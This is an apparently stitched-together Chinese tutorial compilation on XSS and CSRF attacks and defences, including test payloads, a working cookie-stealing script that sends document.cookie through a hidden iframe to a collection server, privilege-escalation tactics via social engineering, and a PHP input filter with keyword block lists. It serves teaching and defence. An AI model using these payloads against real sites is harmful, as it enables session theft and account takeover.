關於XSS攻擊,若是不是很清楚:javascript
什麼是XSS跨站腳本攻擊php
跨站腳本攻擊(Cross-site scripting,一般簡稱爲XSS)是一種網站應用程式的安全漏洞攻擊,容許惡意使用者將程式碼注入到網頁上,其餘使用者在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及使用者端腳本語言。通常而言,跨站腳本攻擊漏洞常見於網頁容許攻擊者經過輸入對網頁內容進行改寫的地方。因爲利用巧妙的注入惡意的指令碼到由其餘域網頁的方法,攻擊者可獲得了更高的特權,竊取機密的網頁內容、會話的cookie、以及許多其餘的物件。html
XSS又叫CSS(Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。XSS屬於被動式的攻擊,由於其被動且很差利用,因此許多人常忽略其危害性。java
XSS攻擊分紅兩類,一類是來自內部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另外一類則是來來自外部的攻擊,主要指的本身構造XSS跨站漏洞網頁或者尋找非目標機之外的有跨站漏洞的網頁。如當咱們要滲透一個站點,咱們本身構造一個有跨站漏洞的網頁,而後構造跨站語句,經過結合其它技術,如社會工程學等,欺騙目標服務器的管理員打開。python
傳統的跨站利用方式通常都是攻擊者先構造一個跨站網頁,而後在另外一空間裏放一個收集cookie的頁面,接着結合其它技術讓用戶打開跨站頁面以盜取用戶的cookie,以便進一步的攻擊。我的認爲這種方式太過於落後,對於弊端你們可能都知道,由於即使你收集到了cookie你也未必能進一步滲透進去,多數的cookie裏面的密碼都是通過加密的,若是想要cookie欺騙的話,一樣也要受到其它的條件的限約。而本文提出的另外一種思路,則從必定程度上解決上述的問題。對於我的而言,比較成熟的方法是經過跨站構造一個表單,表單的內容則爲利用程序的備份功能或者加管理員等功能獲得一個高權限。下面我將詳細的介紹這種技術。react
若是有代碼的話比較好辦,咱們主要看代碼裏對用戶輸入的地方和變量有沒有作長度和對「<」,「>」,「;」,「’」等字符是否作過濾。還有要注意的是對於標籤的閉合,像測試QQ羣跨站漏洞的時候,你在標題處輸入:jquery
<script>alert('test')</script>
代碼是不會被執行的,由於在源代碼裏,有其它的標籤未閉合,如少了一個</script>,這個時候,你只要閉合一個</script>,代碼就會執行,如:你在標題處輸入:ajax
</script><script>alert('test')</script>
這樣就能夠彈出一個test 的框。sql
一般有一些方式能夠測試網站是否有正確處理特殊字符:shell
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
<div style="height:expression(alert('XSS'),1)" />(這個僅限 IE 有效)
使用者可作一個網頁,試着用JavaScript把document.cookie當成參數傳過去,而後再把它記錄下來,這便是cookie竊取 。
XSS攻擊方法有:
有的時候,當咱們對於目標程序找不到能夠利用的跨站點,這個時候咱們能夠利用能夠從外部入手,利用咱們要拿下的是它的論壇,論壇的安全性作的很好,但其留言板卻存在跨站漏洞,這個時候咱們能夠在留言板裏寫入跨站語句,跨站語句爲以表單的方式向論談提交提高權限的語句,如上面的bbsxp加asp擴展的語句。固然咱們可利用後臺的備份功能直接獲得一個shell。
咱們能夠知道,如何欺騙管理打開是一個很重要的步驟,對於欺騙打開,除了社會工程學外,咱們能夠結合其它的技術,如sql injection.當咱們滲透一個網站之時,主站mssql注入漏洞,權限爲public,這個時候咱們利用update構造跨站語句,如用 iframe打開一個上面的備份獲得shell的跨站語句等,一樣,咱們能夠在社會工程學時,利用QQ的其它跨站漏洞等等。
XSS跨站腳本與CSRF跨站請求僞造
在那個年代,你們通常用拼接字符串的方式來構造動態 SQL 語句建立應用,因而 SQL 注入成了很流行的攻擊方式。在這個年代,參數化查詢已經成了普及用法,咱們已經離 SQL 注入很遠了。可是,歷史一樣悠久的 XSS 和 CSRF 卻沒有遠離咱們。因爲以前已經對 XSS 很熟悉了,因此我對用戶輸入的數據一直很是當心。若是輸入的時候沒有通過 Tidy 之類的過濾,我必定會在模板輸出時候所有轉義。因此我的感受,要避免 XSS 也是很容易的,重點是要「當心」。但最近又據說了另外一種跨站攻擊 CSRF ,因而找了些資料瞭解了一下,並與 XSS 放在一塊兒作個比較。
XSS 全稱「跨站腳本」,是注入攻擊的一種。其特色是不對服務器端形成任何傷害,而是經過一些正常的站內交互途徑,例如發佈評論,提交含有 JavaScript 的內容文本。這時服務器端若是沒有過濾或轉義掉這些腳本,做爲內容發佈到了頁面上,其餘用戶訪問這個頁面的時候就會運行這些腳本。
運行預期以外的腳本帶來的後果有不少中,可能只是簡單的惡做劇——一個關不掉的窗口:
while (true) { alert("你關不掉我~"); }
也能夠是盜號或者其餘未受權的操做——咱們來模擬一下這個過程,先創建一個用來收集信息的服務器:
#!/usr/bin/env python #-*- coding:utf-8 -*- """ 跨站腳本注入的信息收集服務器 """ import bottle app = bottle.Bottle() plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite') app.install(plugin) @app.route('/myxss/') def show(cookies, db): try: db.execute('INSERT INTO "myxss" ("cookies") VALUES (?)', cookies) except: pass return "" if __name__ == "__main__": app.run()
而後在某一個頁面的評論中注入這段代碼:
// 用 <script type="text/javascript"></script> 包起來放在評論中 (function(window, document) { // 構造泄露信息用的 URL var cookies = document.cookie; var xssURI = "http://192.168.123.123/myxss/" + window.encodeURI(cookies); // 創建隱藏 iframe 用於通信 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 開工 document.body.appendChild(hideFrame); })(window, document);
因而每一個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的賬號和其餘隱私的信息發送到收集服務器上。
咱們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器作了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種作法的初衷也是防範 XSS,多多少少都起了一些做用,但不是老是有用,正如上面的注入代碼,用 iframe 也同樣能夠達到相同的目的。甚至在願意的狀況下,我還能用 iframe 發起 POST 請求。固然,如今一些瀏覽器可以很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這麼作。但攔截不老是能成功,況且這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用着可怕的 IE6。從原則上將,咱們也不該該把事關安全性的責任推脫給瀏覽器,因此防止 XSS 的根本之道仍是過濾用戶輸入。用戶輸入老是不可信任的,這點對於 Web 開發者應該是常識。
正如上文所說,若是咱們不須要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把全部用戶輸入進行 HTML 轉義輸出是個不錯的作法。彷佛不少 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版老是默認轉義輸出變量的。若是沒有使用它們,咱們本身也能夠這麼作。PHP 能夠用 htmlspecialchars 函數,Python 能夠導入 cgi 模塊用其中的 cgi.escape 函數。若是使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是,在一些場合咱們要容許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫能夠幫忙,但前提是咱們當心地使用。僅僅粗暴地去掉 script 標籤是沒有用的,任何一個合法 HTML 標籤均可以添加 onclick 一類的事件屬性來執行 JavaScript。對於複雜的狀況,我我的更傾向於使用簡單的方法處理,簡單的方法就是白名單從新整理。用戶輸入的 HTML 可能擁有很複雜的結構,但咱們並不將這些數據直接存入數據庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之因此不使用 XML 解析庫是由於 HTML 要求有較強的容錯性)。而後根據用戶原有的標籤屬性,從新構建 HTML 元素樹。構建的過程當中,全部的標籤、屬性都只從白名單中拿取。這樣能夠確保萬無一失——若是用戶的某種複雜輸入不能爲解析器所識別(前面說了 HTML 不一樣於 XML,要求有很強的容錯性),那麼它不會成爲漏網之魚,由於白名單從新整理的策略會直接丟棄掉這些未能識別的部分。最後得到的新 HTML 元素樹,咱們能夠拍胸脯保證——全部的標籤、屬性都來自白名單,必定不會遺漏。
如今看來,大多數 Web 開發者都瞭解 XSS 並知道如何防範,每每大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是因爲疏漏。我我的建議在使用模版引擎的 Web 項目中,開啓(或不要關閉)相似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不須要轉義的場合,咱們能夠用相似 {{ myvar | raw }} 的方式取消轉義。這種白名單式的作法,有助於下降咱們因爲疏漏留下 XSS 漏洞的風險。
另一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,因此不是開啓模版自動轉義能就能一勞永逸的。再加上這類應用每每須要跨域,開發者不得不本身打開危險的大門。這種狀況下,站點的安全很是依賴開發者的細心和應用上線前有效的測試。如今亦有很多開源的 XSS 漏洞測試軟件包(彷佛有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。無論怎麼說,我認爲從用戶輸入的地方把好關老是成本最低而又最有效的作法。
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別,後來才明白 CSRF 和 XSS 根本是兩個不一樣維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是惟一的一條。通常習慣上把經過 XSS 來實現的 CSRF 稱爲 XSRF。
CSRF 的全稱是「跨站請求僞造」,而 XSS 的全稱是「跨站腳本」。看起來有點類似,它們都是屬於跨站攻擊——不攻擊服務器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不一樣維度上的分類。CSRF 顧名思義,是僞造請求,冒充用戶在站內的正常操做。咱們知道,絕大多數網站是經過 cookie 等方式辨識用戶身份(包括使用服務器端 Session 的網站,由於 Session ID 也是大多保存在 cookie 裏面的),再予以受權的。因此要僞造用戶的正常操做,最好的方法是經過 XSS 或連接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。
嚴格意義上來講,CSRF 不能分類爲注入攻擊,由於 CSRF 的實現途徑遠遠不止 XSS 注入這一條。經過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的連接都能形成 CSRF。
例如,一論壇網站的發貼是經過 GET 請求訪問,點擊發貼以後 JS 把發貼內容拼接成目標 URL 並訪問:
http: // noexist.szu.edu.cn/bbs/create_post.php?title=標題&content=內容 |
那麼,我只須要在論壇中發一帖,包含一連接:
http: // noexist.szu.edu.cn/bbs/create_post.php?title=我是腦殘&content=哈哈 |
只要有用戶點擊了這個連接,那麼他們的賬戶就會在不知情的狀況下發布了這一帖子。可能這只是個惡做劇,可是既然發貼的請求能夠僞造,那麼刪帖、轉賬、改密碼、發郵件全均可以僞造。
如何解決這個問題,咱們是否能夠效仿上文應對 XSS 的作法呢?過濾用戶輸入, 不容許發佈這種含有站內操做 URL 的連接。這麼作可能會有點用,但阻擋不了 CSRF,由於攻擊者能夠經過 QQ 或其餘網站把這個連接發佈上去,爲了假裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個連接的用戶仍是同樣會中招。因此對待 CSRF ,咱們的視角須要和對待 XSS 有所區別。CSRF 並不必定要有站內的輸入,由於它並不屬於注入攻擊,而是請求僞造。被僞造的請求能夠是任何來源,而非必定是站內。因此咱們惟有一條路可行,就是過濾請求的處理者。
比較頭痛的是,由於請求能夠從任何一方發起,而發起請求的方式多種多樣,能夠經過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(老是個大隱患)。因爲幾乎沒有完全杜絕 CSRF 的方式,咱們通常的作法,是以各類方式提升攻擊的門檻。
首先能夠提升的一個門檻,就是改良站內 API 的設計。對於發佈帖子這一類建立資源的操做,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。固然,最理想的作法是使用 REST 風格的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、建立、修改、刪除。如今的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,咱們可使用 ajax 提交請求(例如經過 jquery-form 插件,我最喜歡的作法),也可使用隱藏域指定請求方法,而後用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的作法)。這麼一來,不一樣的資源操做區分的很是清楚,咱們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能經過發佈連接來僞造請求了,但他們仍能夠發佈表單,或者在其餘站點上使用咱們肉眼不可見的表單,在後臺用 js 操做,僞造請求。
接下來咱們就能夠用比較簡單也比較有效的方法來防護 CSRF,這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同窗應該對「同步令牌」應該不會陌生,「請求令牌」和「同步令牌」原理是同樣的,只不過目的不一樣,後者是爲了解決 POST 請求重複提交問題,前者是爲了保證收到的請求必定來自預期的頁面。實現方法很是簡單,首先服務器端要以某種策略生成隨機字符串,做爲令牌(token),保存在 Session 裏。而後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其餘信息一併發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,不然返回 HTTP 403 拒絕請求或者要求用戶從新登錄驗證身份。
請求令牌雖然使用起來簡單,但並不是不可破解,使用不當會增長安全隱患。使用請求令牌來防止 CSRF 有如下幾點要注意:
以下也列出一些聽說能有效防範 CSRF,其實效果甚微的方式甚至無效的作法。
整體來講,目前防護 CSRF 的諸多方法還沒幾個能完全無解的。因此 CSDN 上看到討論 CSRF 的文章,通常都會含有「無恥」二字來形容(另外一位有該名號的貌似是 DDOS 攻擊)。做爲開發者,咱們能作的就是儘可能提升破解難度。當破解難度達到必定程度,網站就逼近於絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我認爲是最有可擴展性的,由於其原理和 CSRF 原理是相剋的。CSRF 難以防護之處就在於對服務器端來講,僞造的請求和正常的請求本質上是一致的。而請求令牌的方法,則是揪出這種請求上的惟一區別——來源頁面不一樣。咱們還能夠作進一步的工做,例如讓頁面中 token 的 key 動態化,進一步提升攻擊者的門檻。本文只是我我的認識的一個總結,便不討論過深了。
利用XSS注入漏洞能對網站作什麼
那麼利用xss漏洞能作什麼?我認爲應該有幾點:
一、針對性掛馬。因此這類網站必定是遊戲網站,銀行網站或者是關於qq、taobao或者影響力至關大的網站等,它們必須有咱們日常須要盜取的賬號密碼;固然也或許是這個站點的瀏覽量至關高,咱們能將更多的馬掛出去。而若是僅僅是平日常常的一個小站點的XSS漏洞,若是咱們要掛馬,那麼還不如就直接把木馬頁面地址貼出去。
二、用戶權限下操做。這類網站則必須有會員了,並且這些會員有不少有意義的操做或者有咱們須要的內部我的資料,因此咱們能夠經過XSS對已登陸訪問者進行有權限操做。我認爲cookies的盜取應該算做這一項,由於其目的也是獲取用戶操做權限(盜密碼包括在內),從而獲取用戶某些信息或者進行權限下的相關操做。
三、DDOS攻擊或傀儡機。這一樣須要一個訪問量很是大的站點,利用小站點莫不如咱們本身攻擊或獲取信息。咱們能夠經過此頁的訪問用戶不間斷地攻擊其餘站點,或者進行局域網掃描等等。這類js工具早已經產生,js端口掃描、jikto、xssshell等等。
四、提權。通常這主要發生在論壇或信息管理系統,總之必定要有管理員了。這須要攻擊者對目標系統至關熟悉(通常這樣的系統須要開源代碼),從而知道怎樣構造語句進行提權。
五、實現特殊效果。譬如我在百度空間的插入視頻,插入版塊;譬如一些人在新浪博客或者校內網實現的特殊效果等等。
那麼PHP站點如何防護XSS攻擊呢?
下面的函數能夠用來過濾用戶的輸入,保證輸入是XSS安全的。具體如何過濾,能夠參看函數內部,也有註釋。
<?php function RemoveXSS($val) { // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed // this prevents some character re-spacing such as <java\0script> // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); // straight replacements, the user should never need these since they're normal characters // this prevents like <IMG SRC=@avascript:alert('XSS')> $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { // ;? matches the ;, which is optional // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars // @ @ search for the hex values $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; // @ @ 0{0,7} matches '0' zero to seven times $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; } // now the only remaining whitespace attacks are \t, \n, and \r $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $ra = array_merge($ra1, $ra2); $found = true; // keep replacing as long as the previous round replaced something while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($ra[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[xX]0{0,8}([9ab]);)'; $pattern .= '|'; $pattern .= '|(�{0,8}([9|10|13]);)'; $pattern .= ')*'; } $pattern .= $ra[$i][$j]; } $pattern .= '/i'; $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags if ($val_before == $val) { // no replacements were made, so exit the loop $found = false; } } } return $val; } ?>